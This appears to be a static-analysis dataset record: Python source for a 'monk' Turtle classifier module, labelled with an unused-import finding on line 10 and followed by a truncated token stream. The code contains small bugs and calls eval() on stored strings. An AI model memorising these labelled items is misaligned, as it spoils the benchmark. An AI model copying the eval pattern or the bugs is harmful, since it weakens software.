[ { "content": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 08 19:52:01 2013\nThe complex problem solver that manage a team of pandas. \n@author: xm\n\"\"\"\nimport base\nimport constants as cons\nimport crane\nfrom relation import MatchingRelation\nfrom monk.utils.utils import binary2decimal, translate, monitor_accuracy\nfrom monk.math.cmath import sign0\n#from itertools import izip\nimport logging\nimport nltk\nfrom nltk.stem import PorterStemmer\nfrom nltk.corpus import stopwords\nlogger = logging.getLogger(\"monk.turtle\")\nmetricLog = logging.getLogger(\"metric\")\n\nstopwords_english = set(stopwords.words('english'))\nsymbols = {'\\'', '\\\"', '[', ']','{','}','(',')','.','$', '#'}\n\n \n \n \n \n\n \n \n\n \nbase.register(Turtle)\nbase.register(SingleTurtle)\nbase.register(MultiLabelTurtle)\nbase.register(RankingTurtle)\nbase.register(DictionaryTurtle)\nbase.register(SPNTurtle)\nbase.register(UniGramTurtle)\nbase.register(POSTurtle)\nbase.register(StemTurtle)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Turtle(base.MONKObject):\n FPANDAS = 'pandas'\n FTIGRESS = 'tigress'\n FMAPPING = 'mapping'\n FDESCRIPTION = 'description'\n FPENALTY = 'pPenalty'\n FEPS = 'pEPS'\n FMAXPATHLENGTH = 'pMaxPathLength'\n FMAXINFERENCESTEPS = 'pMaxInferenceSteps'\n FPARTIALBARRIER = 'pPartialBarrier'\n FMERGECLOCK = 'pMergeClock'\n FTRAINCLOCK = 'pTrainClock'\n FENTITYCOLLECTIONNAME = 'entityCollectionName'\n FREQUIRES = 'requires'\n FREQUIRES_UIDS = 'uids'\n FREQUIRES_TURTLES = 'turtles'\n FFOLLOWERS = 'followers'\n FLEADER = 'leader'\n store = crane.turtleStore\n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n\n \n \n \n\n \n \n \n", "metadata": "root.Turtle", "header": "['module', '___EOS___']", "index": 23 }, { "content": " def __default__(self):\n super(Turtle, self).__default__()\n self.pandas = []\n self.tigress = None\n self.mapping = {}\n self.description = cons.DEFAULT_EMPTY\n self.pPenalty = 1.0\n self.pEPS = 1e-6\n self.pMaxPathLength = 1\n self.pMaxInferenceSteps = 1000\n self.entityCollectionName = cons.DEFAULT_EMPTY\n self.requires = dict()\n self.followers = []\n self.leader = None\n self.mergeQueue = set()\n self.pPartialBarrier = 50\n self.pMergeClock = 0\n self.pTrainClock = 0", "metadata": "root.Turtle.__default__", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 43 }, { "content": " def __restore__(self):\n super(Turtle, self).__restore__()\n try:\n [panda.setdefault(self.CREATOR, self.creator) for panda in self.pandas]\n [panda.setdefault(self.NAME, self.name) for panda in self.pandas]\n self.tigress.setdefault(self.CREATOR, self.creator)\n self.tigress.setdefault(self.NAME, self.name)\n except:\n pass\n self.pandas = crane.pandaStore.load_or_create_all(self.pandas)\n self.tigress = crane.tigressStore.load_or_create(self.tigress)\n self.pandaUids = set((p.uid for p in self.pandas))\n self.invertedMapping = {tuple(v): k for k, v in self.mapping.iteritems()}\n self.followers = set(self.followers)\n \n if self.FREQUIRES_UIDS in self.requires:\n uids = self.requires[self.FREQUIRES_UIDS]\n if isinstance(uids, basestring):\n uids = eval(uids)\n [panda.add_features(uids) for panda in self.pandas]\n elif self.FREQUIRES_TURTLES in self.requires:\n turtles = self.store.load_or_create_all(\n [{'name':t, 'creator':self.creator}\n for t in self.requires[self.FREQUIRES_TURTLES]])\n [panda.add_features(turtle.get_panda_uids()) for turtle in turtles for panda in self.pandas]\n elif self.requires:\n logger.error('dependent features are either in {0} or {1}, but not in {2}'.format(\n self.FREQUIRES_UIDS,\n self.FREQUIRES_TURTLES,\n self.requires))", "metadata": "root.Turtle.__restore__", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 62 }, { "content": " def generic(self):\n result = super(Turtle, self).generic()\n if self.tigress:\n result[self.FTIGRESS] = self.tigress.signature()\n result[self.FPANDAS] = [panda.signature() for panda in self.pandas]\n result[self.FFOLLOWERS] = list(self.followers)\n # invertedMapping is created from mapping\n del result['invertedMapping']\n del result['pandaUids']\n del result['mergeQueue']\n return result", "metadata": "root.Turtle.generic", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 93 }, { "content": " def clone(self, userName):\n obj = super(Turtle, self).clone(userName)\n obj.pandaUids = set(self.pandaUids)\n obj.tigress = self.tigress.clone(userName)\n obj.pandas = [p.clone(userName) for p in self.pandas]\n obj.requires = dict(self.requires)\n return obj", "metadata": "root.Turtle.clone", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 105 }, { "content": " def save(self):\n super(Turtle, self).save()\n if self.tigress:\n self.tigress.save()\n [pa.save() for pa in self.pandas]", "metadata": "root.Turtle.save", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 113 }, { "content": " def delete(self, deep=False):\n result = super(Turtle, self).delete()\n if self.tigress:\n result = result and self.tigress.delete()\n if deep:\n result = result and [pa.delete() for pa in self.pandas]\n return result", "metadata": "root.Turtle.delete", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 119 }, { "content": " def add_follower(self, follower):\n if follower not in self.followers:\n self.followers.add(follower)\n self.store.push_one_in_fields(self, {'followers':follower})\n [pa.increment() for pa in self.pandas]\n return True\n else:\n logger.info('user {} is already a follower of {}'.format(follower, self.creator))\n return False", "metadata": "root.Turtle.add_follower", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 127 }, { "content": " def add_leader(self, leader):\n if self.leader != leader:\n self.leader = leader\n self.store.update_one_in_fields(self, {'leader': leader})\n return True\n else:\n logger.info('user {} is already the leader of {}'.format(leader, self.creator))\n return False", "metadata": "root.Turtle.add_leader", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 137 }, { "content": " def remove_leader(self, leader):\n if self.leader and leader == self.leader:\n self.leader = None\n self.store.update_one_in_fields(self, {'leader':None})\n return True\n else:\n logger.info('user {} is not the leader of {}@{}'.format(leader, self.name, self.creator))\n return False", "metadata": "root.Turtle.remove_leader", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 146 }, { "content": " def remove_follower(self, follower):\n if follower in self.followers:\n self.followers.remove(follower)\n self.store.pull_one_in_fields(self, {'followers':follower})\n [pa.decrease() for pa in self.pandas]\n return True\n else:\n logger.info('user {} is not a follower of {}@{}'.format(follower, self.name, self.crcreator))\n return False", "metadata": "root.Turtle.remove_follower", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 155 }, { "content": " def require_panda(self, panda):\n if self.has_panda(panda):\n logger.error('turtle can not depends on itself {0}'.format(panda._id))\n return\n [pa.add_features(panda.uid) for pa in self.pandas]", "metadata": "root.Turtle.require_panda", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 165 }, { "content": " def require(self, turtleName):\n if self.name == turtleName:\n logger.error('turle can not depend on itself {0}'.format(turtleName))\n return\n turtle = self.store.load_or_create({'name':turtleName, 'creator':self.creator})\n [panda.add_features(turtle.get_panda_uids()) for panda in self.pandas]", "metadata": "root.Turtle.require", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 171 }, { "content": " def get_panda_uids(self):\n return [pa.uid for pa in self.pandas]", "metadata": "root.Turtle.get_panda_uids", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 178 }, { "content": " def has_panda(self, panda):\n return panda.uid in self.pandaUids", "metadata": "root.Turtle.has_panda", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 181 }, { "content": " def add_panda(self, panda):\n if not self.has_panda(panda):\n self.pandas.append(panda)\n self.pandaUids.add(panda.uid)\n crane.pandaStore.push_one_in_fields(self, {'pandas':panda._id})\n return True\n else:\n logger.info('panda {0} is already in the turtle {1}'.format(panda.name, self.name))\n return False", "metadata": "root.Turtle.add_panda", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 184 }, { "content": " def delete_panda(self, panda):\n if self.has_panda(panda):\n self.pandas.remove(panda)\n self.pandaUids.remove(panda.uid)\n crane.pandaStore.pull_one_in_fields(self, {'pandas':panda._id})\n return True\n else:\n logger.info('panda {0} is not in the turtle {1}'.format(panda.name, self.name))\n return False", "metadata": "root.Turtle.delete_panda", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 194 }, { "content": " def predict(self, entity, fields=None):\n scores = [panda.predict(entity) for panda in self.pandas]\n predicted = self.invertedMapping[tuple(map(sign0, scores))]\n self.tigress.measure(entity, predicted)\n return predicted", "metadata": "root.Turtle.predict", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 204 }, { "content": " def test_data(self, entity):\n test = [panda.predict(entity) for panda in self.pandas]\n logger.info('turtle {0} value is {1}'.format(self.creator, test[0]))\n return test ", "metadata": "root.Turtle.test_data", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 210 }, { "content": " def add_data(self, entity):\n return self.tigress.supervise(self, entity)", "metadata": "root.Turtle.add_data", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 215 }, { "content": " def active_train(self):\n try:\n self.tigress.supervise(self)\n except Exception as e:\n logger.info(e.message)\n logger.info(\"turtle {0} does not have active superviser\".format(self.name))", "metadata": "root.Turtle.active_train", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 218 }, { "content": " def train(self):\n [panda.train(self.leader) for panda in self.pandas]\n self.pTrainClock += 1\n self.update_fields({self.FTRAINCLOCK:self.pTrainClock})\n logger.debug('training clock {0}'.format(self.pTrainClock))", "metadata": "root.Turtle.train", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 225 }, { "content": " def checkout(self):\n [panda.checkout(self.leader) for panda in self.pandas]", "metadata": "root.Turtle.checkout", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 231 }, { "content": " def commit(self):\n [panda.commit() for panda in self.pandas]", "metadata": "root.Turtle.commit", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 234 }, { "content": " def merge(self, follower):\n if follower not in self.followers and follower != self.creator:\n logger.error('user {0} is not a follower of {1}@{2}'.format(follower, self.creator, self.name))\n return False\n self.mergeQueue.add(follower)\n if len(self.mergeQueue) >= min(len(self.followers), self.pPartialBarrier):\n for follower in self.mergeQueue:\n [panda.merge(follower) for panda in self.pandas] \n self.mergeQueue.clear()\n [panda.update_fields({panda.FCONSENSUS:panda.z.generic()}) for panda in self.pandas]\n self.pMergeClock += 1\n self.update_fields({self.FMERGECLOCK:self.pMergeClock})\n logger.debug('merge clock {0}'.format(self.pMergeClock))\n return True\n return False", "metadata": "root.Turtle.merge", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 237 }, { "content": " def reset(self):\n [panda.reset() for panda in self.pandas]\n self.pTrainClock = 0\n self.pMergeClock = 0\n self.update_fields({self.FTRAINCLOCK:self.pTrainClock, self.FMERGECLOCK:self.pMergeClock})", "metadata": "root.Turtle.reset", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 253 }, { "content": " def reset_data(self):\n [panda.reset_data() for panda in self.pandas] ", "metadata": "root.Turtle.reset_data", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 259 }, { "content": " def set_mantis_parameter(self, para, value):\n [panda.set_mantis_parameter(para, value) for panda in self.pandas] ", "metadata": "root.Turtle.set_mantis_parameter", "header": "['class', 'Turtle', '(', 'base', '.', 'MONKObject', ')', ':', '___EOS___']", "index": 262 }, { "content": "class SingleTurtle(Turtle):\n ", "metadata": "root.SingleTurtle", "header": "['module', '___EOS___']", "index": 265 }, { "content": " def predict(self, entity, fields=None):\n panda = self.pandas[0]\n score = panda.predict(entity)\n if sign0(score) > 0:\n self.tigress.measure(entity, panda.name)\n monitor_accuracy(panda.name, self.creator, score, 'True')\n return panda.name\n else:\n self.tigress.measure(entity, cons.DEFAULT_NONE)\n monitor_accuracy(panda.name, self.creator, score, 'False')\n return cons.DEFAULT_NONE", "metadata": "root.SingleTurtle.predict", "header": "['class', 'SingleTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 267 }, { "content": "class MultiLabelTurtle(Turtle):\n", "metadata": "root.MultiLabelTurtle", "header": "['module', '___EOS___']", "index": 279 }, { "content": " def predict(self, entity, fields=None):\n predicted = [panda.name for panda in self.pandas if panda.predict(entity) > 0]\n self.tigress.measure(entity, predicted)\n return predicted", "metadata": "root.MultiLabelTurtle.predict", "header": "['class', 'MultiLabelTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 281 }, { "content": "class RankingTurtle(Turtle):\n FTARGET_CONNECTION_STRING = 'targetConnectionString'\n FTARGET_DATABASE_NAME = 'targetDatabaseName'\n FTARGET_COLLECTION_NAME = 'targetCollectionName'\n FTARGET_NUM_LEVELS = 'numLevels'\n FBEAM_SIZE = 'beamSize'\n FWINDOW_SIZE = 'windowSize'\n FQUERY = 'queryFunc'\n FTARGET_STORE = 'targetStore'\n RAW_TARGETID = '_targetId'\n RAW_RELEVANCE = '_relevance'\n \n \n \n \n \n ", "metadata": "root.RankingTurtle", "header": "['module', '___EOS___']", "index": 286 }, { "content": " def __default__(self):\n super(RankingTurtle, self).__default__()\n self.targetConnectionString = cons.DEFAULT_EMPTY\n self.targetDatabaseName = cons.DEFAULT_EMPTY\n self.targetCollectionName = cons.DEFAULT_EMPTY\n self.targetStore = crane.Crane()\n self.numLevels = 1\n self.beamSize = 10\n self.windowSize = 2 * self.beamSize\n self.queryFunc = cons.DEFAULT_FUNC", "metadata": "root.RankingTurtle.__default__", "header": "['class', 'RankingTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 298 }, { "content": " def __restore__(self):\n super(RankingTurtle, self).__restore__()\n self.targetStore = crane.Crane(self.targetConnectionString,\n self.targetDatabaseName,\n self.targetCollectionName)", "metadata": "root.RankingTurtle.__restore__", "header": "['class', 'RankingTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 309 }, { "content": " def generic(self):\n result = super(RankingTurtle, self).generic()\n del result[self.FTARGET_STORE]\n return result", "metadata": "root.RankingTurtle.generic", "header": "['class', 'RankingTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 315 }, { "content": " def clone(self, userName):\n obj = super(RankingTurtle, self).clone(userName) \n return obj", "metadata": "root.RankingTurtle.clone", "header": "['class', 'RankingTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 320 }, { "content": " def predict(self, entity, fields=None):\n query = eval(self.queryFunc)(entity)\n targetIds = self.targetStore.load_all_in_ids(query, 0, self.windowSize)\n targets = self.targetStore.load_all_by_ids(targetIds)\n relation = MatchingRelation()\n relation.set_argument(0, entity)\n results = []\n for target in targets:\n relation.set_argument(1, target)\n relation.compute()\n rank = self.invertedMapping[[sign0(panda.predict(relation)) for panda in self.pandas]]\n results.append((rank, target))\n results.sort(reverse=True)\n return results[:self.beamSize]", "metadata": "root.RankingTurtle.predict", "header": "['class', 'RankingTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 324 }, { "content": " def add_data(self, entity):\n targetId = entity.get_raw(self.RAW_TARGETID, None)\n relevance = entity.get_raw(self.RAW_RELEVANCE, 0)\n if targetId:\n target = self.targetStore.load_one_by_id(targetId)\n relation = MatchingRelation()\n relation.set_argument(0, entity)\n relation.set_argument(1, target)\n relation.compute()\n relation.set_raw(self.RAW_RELEVANCE, relevance)\n self.tigress.supervise(self, relation)", "metadata": "root.RankingTurtle.add_data", "header": "['class', 'RankingTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 339 }, { "content": "class SPNTurtle(Turtle):\n pass", "metadata": "root.SPNTurtle", "header": "['module', '___EOS___']", "index": 351 }, { "content": "class DictionaryTurtle(Turtle):\n\n \n \n \n \n \n \n \n \n \n ", "metadata": "root.DictionaryTurtle", "header": "['module', '___EOS___']", "index": 354 }, { "content": " def __default__(self):\n super(DictionaryTurtle, self).__default__()\n self.dictionary = dict()", "metadata": "root.DictionaryTurtle.__default__", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 356 }, { "content": " def __restore__(self):\n super(DictionaryTurtle, self).__restore__()\n self.dictionary = {p.name:p.uid for p in self.pandas}", "metadata": "root.DictionaryTurtle.__restore__", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 360 }, { "content": " def generic(self):\n result = super(DictionaryTurtle, self).generic()\n try:\n del result['tigress']\n del result['dictionary']\n except:\n pass\n return result", "metadata": "root.DictionaryTurtle.generic", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 364 }, { "content": " def clone(self, userName):\n obj = super(DictionaryTurtle, self).clone(userName)\n obj.dictionary = dict(self.dictionary)\n return obj", "metadata": "root.DictionaryTurtle.clone", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 373 }, { "content": " def _process(self, field):\n return {}", "metadata": "root.DictionaryTurtle._process", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 378 }, { "content": " def _get_or_new_panda(self, name):\n if name not in self.dictionary:\n panda = {self.MONK_TYPE: 'ExistPanda',\n self.NAME: name,\n self.CREATOR: self.creator}\n panda = crane.pandaStore.load_or_create(panda, tosave=True)\n self.add_panda(panda)\n self.dictionary[name] = panda.uid\n uid = panda.uid\n else:\n uid = self.dictionary[name]\n return (uid, 1.0)", "metadata": "root.DictionaryTurtle._get_or_new_panda", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 381 }, { "content": " def is_stop(self, w):\n if w in stopwords_english:\n return True\n else:\n return False", "metadata": "root.DictionaryTurtle.is_stop", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 394 }, { "content": " def is_symbol(self, w):\n if w in symbols:\n return True\n elif w.find('.') >= 0:\n return True\n else:\n return False", "metadata": "root.DictionaryTurtle.is_symbol", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 400 }, { "content": " def is_single(self, w):\n if len(w) <= 1:\n return True\n else:\n return False", "metadata": "root.DictionaryTurtle.is_single", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 408 }, { "content": " def predict(self, entity, fields):\n total = 0\n for field in fields:\n value = translate(getattr(entity, field, ''))\n if not value:\n continue\n \n allTokens = self._process(value)\n entity._raws.update(allTokens)\n entity._features.update([self._get_or_new_panda(t) for t in allTokens])\n total += len(allTokens)\n\n return total", "metadata": "root.DictionaryTurtle.predict", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 414 }, { "content": " def merge(self):\n # TODO should be taking care of dedups in models and data\n pass", "metadata": "root.DictionaryTurtle.merge", "header": "['class', 'DictionaryTurtle', '(', 'Turtle', ')', ':', '___EOS___']", "index": 428 }, { "content": "class UniGramTurtle(DictionaryTurtle):\n", "metadata": "root.UniGramTurtle", "header": "['module', '___EOS___']", "index": 432 }, { "content": " def _process(self, field):\n allTokens = {}\n sents = nltk.tokenize.sent_tokenize(field)\n for sent in sents:\n tokens = nltk.tokenize.word_tokenize(sent.lower())\n allTokens.update(((t,1) for t in tokens if not self.is_stop(t) and\n not self.is_symbol(t) and\n not self.is_single(t)))\n return allTokens", "metadata": "root.UniGramTurtle._process", "header": "['class', 'UniGramTurtle', '(', 'DictionaryTurtle', ')', ':', '___EOS___']", "index": 434 }, { "content": "class POSTurtle(DictionaryTurtle):\n ", "metadata": "root.POSTurtle", "header": "['module', '___EOS___']", "index": 444 }, { "content": " def _process(self, field):\n allTokens = {}\n sents = nltk.tokenize.sent_tokenize(field)\n for sent in sents:\n tokens = nltk.tokenize.word_tokenize(sent.lower())\n tagged = nltk.pos_tag([t for t in tokens if not self.is_stop(t) and\n not self.is_symbol(t) and\n not self.is_single(t)])\n allTokens.update((('_'.join(t),1) for t in tagged))\n return allTokens", "metadata": "root.POSTurtle._process", "header": "['class', 'POSTurtle', '(', 'DictionaryTurtle', ')', ':', '___EOS___']", "index": 446 }, { "content": "class StemTurtle(DictionaryTurtle):\n", "metadata": "root.StemTurtle", "header": "['module', '___EOS___']", "index": 457 }, { "content": " def _process(self, field):\n allTokens = {}\n sents = nltk.tokenize.sent_tokenize(field)\n logger.debug(sents)\n port = PorterStemmer()\n for sent in sents:\n tokens = nltk.tokenize.word_tokenize(sent.lower())\n stems = [port.stem(t) for t in tokens if not self.is_stop(t) and not self.is_symbol(t)]\n allTokens.update(((t,1) for t in stems))\n logger.debug(' '.join(allTokens))\n return allTokens", "metadata": "root.StemTurtle._process", "header": "['class', 'StemTurtle', '(', 'DictionaryTurtle', ')', ':', '___EOS___']", "index": 459 } ]
[ { "span": "from monk.utils.utils import binary2decimal, translate, monitor_accuracy", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 72 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Creat", "ed", " ", "on", " ", "Fri", " ", "Nov", " ", "0", "8", " ", "1", "9", ":", "5", "2", ":", "01", " ", "2013", "\\", "10", ";", "The", " ", "complex", " ", "problem", " ", "solve", "r", " ", "tha", "t", " ", "manage", " ", "a", " ", "team", " ", "of", " ", "panda", "s", ".", " ", "\\", "10", ";", "@", "author", ":", " ", "xm", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "constants_", "as_", "cons_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "cra", "ne_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "relation_", "import_", "Match", "ing", "Relation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mon", "k_", "._", "utils_", "._", "utils_", "import_", "binar", "y2", "decimal_", ",_", "translate_", ",_", "monit", "or", "\\u", "accuracy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mon", "k_", "._", "math_", "._", "cma", "th_", "import_", "sign", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "from", " ", "iter", "tool", "s", " ", "import", " ", "izip_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "nltk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nltk_", "._", "stem_", "import_", "Port", "er", "Stem", "mer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nltk_", "._", "corpus_", "import_", "stopwords_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "mon", "k", ".", "tur", "tle", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metric", "Log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "metric", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stopword", "s", "\\u", "english", "_", "=_", "set_", "(_", "stopwords_", "._", "words_", "(_", "'", "english", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "symbols_", "=_", "{_", "'\\\\''_", ",_", "'\\\\\"", "'_", ",_", "'['_", ",_", "']'_", ",_", "'{'_", ",_", "'}'_", ",_", "'('_", ",_", "')'_", ",_", "'.'_", ",_", "'$'_", ",_", "'#'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "base_", "._", "register_", "(_", "Tur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "Sing", "le", "Tur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "Multi", "Label", "Tur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "Rank", "ing", "Tur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "SP", "NT", "ur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "Uni", "Gram", "Tur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "POST", "ur", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "register_", "(_", "Stem", "Tur", "tle_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "FP", "AND", "AS_", "=_", "'", "panda", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FT", "IG", "RESS", "_", "=_", "'", "tig", "ress", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FM", "APP", "ING_", "=_", "'", "mapping", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FD", "ESC", "RI", "PTION", "_", "=_", "'", "description", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FP", "EN", "ALT", "Y_", "=_", "'", "p", "Pen", "alty", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FE", "PS_", "=_", "'", "p", "EPS", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FM", "AX", "PATH", "LENGTH_", "=_", "'", "p", "Max", "Path", "Length", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FM", "AX", "INF", "ERE", "NCE", "STEPS", "_", "=_", "'", "p", "Max", "Infer", "ence", "Step", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FP", "ARTI", "ALB", "ARR", "IER", "_", "=_", "'", "p", "Parti", "al", "Barri", "er", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FM", "ER", "GE", "CLOCK", "_", "=_", "'", "p", "Merge", "Clo", "ck", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FT", "RAI", "NC", "LOCK_", "=_", "'", "p", "Train", "Clo", "ck", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FE", "NTI", "TY", "COLLECTION", "NAME_", "=_", "'", "entity", "Collecti", "on", "Name", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FREQ", "UI", "RES", "_", "=_", "'", "require", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FREQ", "UI", "RES", "\\u", "UI", "DS_", "=_", "'", "uid", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FREQ", "UI", "RES", "\\u", "TUR", "TLE", "S_", "=_", "'", "tur", "tle", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FF", "OL", "LOWER", "S_", "=_", "'", "followers", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FL", "EAD", "ER_", "=_", "'", "leader", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "store_", "=_", "cra", "ne_", "._", "tur", "tle", "Store_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 